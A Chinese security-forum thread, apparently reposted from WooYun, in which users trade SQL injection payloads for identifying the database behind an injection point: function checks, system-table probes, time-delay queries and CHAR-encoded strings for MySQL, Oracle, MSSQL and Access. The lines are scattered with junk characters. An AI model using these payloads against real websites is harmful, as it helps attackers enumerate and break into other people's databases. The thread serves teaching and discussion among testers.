找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
" Q! {% k0 c0 v8 N* ~xsser (十根阳具有长短!!) | 2013-02-05 12:36
% T" }9 t" a! P( z6 Q假设这么一个注射点:
( t9 A- r6 ?1 |6 n' L6 Rshow.html?id=2: d4 V# f. r3 k7 J( U" o) {
mysql:id=2 and version()>0
! U, q) a" r  Z& `* R: K, b& U) ioracle:id=2 and '1'||'1'='110 T( [. c' w; }( ^
其他的欢迎补充
8 O0 `0 n8 J( F  v9 s0 o1#
" z8 Q9 ^& E1 _- R  xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47: Y5 U2 M$ H# r1 F
Access:
9 h- w9 E$ F/ s$ ?1 H( B- \aNd aSc(cHr(97))=977 B. ]* r) D) L! a' \0 I
and exists(select id from MSysAccessObjects)
; T# r$ k4 `& Y2 {SQL Server:
; P$ G4 w+ [9 h/ g# ^! T& {  `, _and exists(select id from sysobjects)8 A& w  [' i4 f4 h* @- z; Q6 [
and length(user)>0+ X: a. d/ d+ c5 C, E
MySQL:! d) v( ?/ h6 k' }
and length(user())>0
& q% p, J$ Q8 S' r- Z% [2#
4 Q+ b  d; `5 b5 o' o" R5 J+ fxsser (十根阳具有长短!!) | 2013-02-05 12:48
( j0 p7 q  {# B" i. Y) Y; M* x7 K@upload 如果这些都不是呢…6 y1 u4 m: \. ?9 V
3#
, s* T, y9 z% {5 o1 a9 I  f! _upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
8 l' e2 I& z4 O) \" j7 ~@xsser 不快速的,延时注入/ x$ M% P. L4 ^; Y9 H5 K0 d2 K6 Z
不知道这样写对不对
% g2 z& Q1 H- @8 @mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
) O) L" U7 ?/ P) o& V) B. M5 Mmysql:id=2 and select benchmark(1e8,current_date());5 I* N9 M4 b0 o6 Z5 p7 p5 p: t) s
4#
; q+ B$ J, Z# }' y# {: o/ gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
4 H# k" x( T* s  Z1 u8 @' D2 ]最快的貌似是看报错信息+ b7 ^6 f% O" L8 X9 P' f
oracle error
+ [, G) M* c, R4 L' O8 W) W! ^& ~mssql error
( u- ~# D% h5 f/ |. z6 o( hmysql error' U* s7 b, f, X* ~1 d5 K
5#
$ [, o$ p9 ]1 r% Z2 q1 ~: o6 cNimda (你们都是坏银~) | 2013-02-05 13:14
/ k* v. A1 ~+ w& ~小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual): Z# [: z9 l$ k  M4 ]: n0 E  Q: n
6#( R! s0 r0 E7 u" O6 {- e- g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21& G+ Z+ b6 M6 q7 ^3 p
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:+ p' d% v7 p$ Y' L: u& a  `
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* o7 s, n# [3 _! S5 l  E4 Q“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。$ \, d' Y  q& C
7#
3 }  F+ P( M' L) C- k9 m: H% F_Evil (HackEnd) | 2013-02-05 13:332 n, g# W2 t& \9 u7 k) G8 e  X
PostgreSQL
+ l+ Z; h$ Z$ k8 }7 ]$ |. V8#
1 }0 D' ]- h0 Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
$ I! J9 R5 |# x1 \' ^0 {$ u2 i6 L0 S切换编码 and 1=1' }+ T# r4 h6 O
oracle:
  ]; M3 C9 A' YCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)  Q& V' z5 i$ \
mssql:
1 F0 I+ T- V; c2 e( {" g$ E9 RCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
% z' F/ O4 Q( i7 Pmysql:9 g/ }- @( A- ?) L6 o# Z$ I
CHAR(97, 110, 100, 32, 49, 61, 49)
. y4 L) w" L7 k- x9#
" }* S6 c9 T: `2 Hxsser (十根阳具有长短!!) | 2013-02-05 14:314 P9 v; d0 q. h4 D7 @9 ?+ t* m% ~$ Y" m$ W+ G
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
( C" ?- A+ v# y( g( |1 u10#
) A# m  i, q3 P3 ]. z* M0 Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" }" \/ B" G! H# F. [, w@xsser 是奇葩数据库类型的么?
1 U3 ?6 t6 S( ?: d* o根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:3 g3 }# w1 c+ z2 u' @- e
1.是否可以使用特定的函数来判断,该数据库特有的
6 Q& h% q) V6 R4 n2 O2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
0 O/ Z9 n* x3 l6 U$ b& ~" a7 k3.是否可以编码查询8 A- t4 E% [+ s/ P
4.是否显可以利用错信息
+ H% m  z' g% c1 B. A5.是否存在数据库某些特性辅助判断
7 X2 H$ F9 m9 C+ Y, z个人见解/ ~& H" Z2 ~1 M7 H7 B' T
11#
( m0 S* m! Q" d8 J. \* ^小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
) M% O# A" k7 U4 b. r: X' b( d已收藏,mssql可以直接看到错误提示的吧~
5 n% x1 w* k* p12#
& p6 V: s1 c# H$ c9 f4 Z9 c! @Passer_by | 2013-02-05 15:09% Y$ U# e" _, r+ m. E
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
4 d6 i* {7 D+ E- h) B  O* a& Zfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表